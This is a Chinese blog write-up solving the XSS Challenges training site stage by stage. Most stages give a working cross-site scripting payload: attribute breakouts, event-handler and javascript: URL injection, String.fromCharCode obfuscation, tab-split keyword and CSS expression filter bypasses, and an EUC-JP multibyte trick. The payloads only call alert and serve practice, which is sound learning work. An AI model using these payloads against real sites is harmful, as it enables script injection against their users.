XSS Challenges
平台地址: https://xss-quiz.int21h.jp
1
1 | <script>alert(document.domain)</script> |
2
1 | "><script>alert(document.domain)</script>< |
3
当在search框输入的时候,发现对<
和>
进行了编码,所以将注意点转入到右边选择框,利用右键检查元素,将japan改为1
<script>alert(document.domain)</script>
4
1 | "><script>alert(document.domain)</script> |
查看源码,发现了一个hidden的输入框,查看元素,输入上述exp
5
查看搜索框,限制了maxlength,将其改为501
"><script>alert(document.domain)</script>
6
还是尖括号编码,并且只有一个输入框,很烦,提示是事件处理,找了一下关于input的时间处理,找到一个oninput,所以检查元素,然后修改:1
oninput="javascript:alert(document.domain);"
7
同6相同的方法
8
要求输入一个url,没有任何处理,于是直接利用伪协议:1
javascript:alert(document.domain);
9
发现第6是个万能解法
方法2:1
2
10
没过滤尖括号,嘿嘿,过滤了domain,用一段js编码1
2
3
4
5
6str = 'document.domain'
output = ''
for(var i = 0;i<str.length;i++){
output +=str.charCodeAt(i)+','
}
console.log(output)
然后:1
"><script>alert(eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,100,111,109,97,105,110)))</script>
11
把s转义为xs,过滤规则如下
Hint: “s/script/xscript/ig;” and “s/on[a-z]+=/onxxx=/ig;” and “s/style=/stxxx=/ig;”
"><iframe src="javascr	ipt:alert(document.domain);"></iframe>
"><iframe src="javascript:alert(document.domain);"></iframe>
但是没地址
12
地址:http://xss-quiz.int21h.jp/stage_no012.php?sid=62c192a540aba87e7b6796ce0cbc2cd93fcb0750
规则:
“s/[\x00-\x20\<>\”\’]//g;
1 | ``onmouseover=alert(document.domain); |
仅在ie上可以
13
有问题
14
注:由于题目有点古老,所以建议使用ie8内核的浏览器1
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
15
由于转义了<>
、"
1
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
16
1 | \\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e |
17
贴他人的wp:
看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的IE都已经修复了。
提示:multi-byte character
euc-jp的编码范围:
byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF
byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE
byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE
两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain);
现在发现原来是浏览器版本问题,别用IE8了过这个。
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
干脆跳过拉倒。
18
ie5或者6,再见
19
处理代码是这样的:1
2
3
4
5<script>
//<![CDATA[
(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a.replace(/:/gi,"");}})(window);
//]]>
</script>
有个hint是:
Twitter DomXss at Sep 24, 2010
多半是这个:https://news.softpedia.com/news/Twitter-Messes-Up-XSS-Bug-Fix-Three-Times-157969.shtml
不过内核问题解决不了
预计解决方案:/#!javascript:alert(document.domain);"
reference:
https://www.codercto.com/a/33998.html
https://www.cnblogs.com/go2bed/p/4131222.html
Author: damn1t
Link: http://microvorld.com/2019/05/03/靶机/xss-quiz/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.